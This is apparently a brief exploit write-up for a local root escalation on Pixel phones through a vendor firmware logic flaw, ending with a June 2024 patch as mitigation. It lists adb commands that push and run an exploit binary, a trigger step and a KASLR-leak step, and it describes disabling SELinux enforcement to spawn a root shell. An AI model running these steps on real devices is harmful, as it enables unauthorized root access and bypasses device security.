Overview
A logic flaw in Pixel-specific vendor firmware allows local privilege escalation to root without unlocking the bootloader.
Setup
$cat snippet.sh
adb push exploit.bin /data/local/tmp/
adb shell chmod +x /data/local/tmp/exploit.binStage 1 — Trigger
$cat snippet.sh
adb shell /data/local/tmp/exploit.bin --triggerStage 2 — KASLR leak & escalate
$cat snippet.sh
./pixel-lpe --target=oriole --kaslr-leakAfter the leak we patch selinux_enforcing and spawn a root shell.
Mitigation
Apply the June 2024 Pixel security update.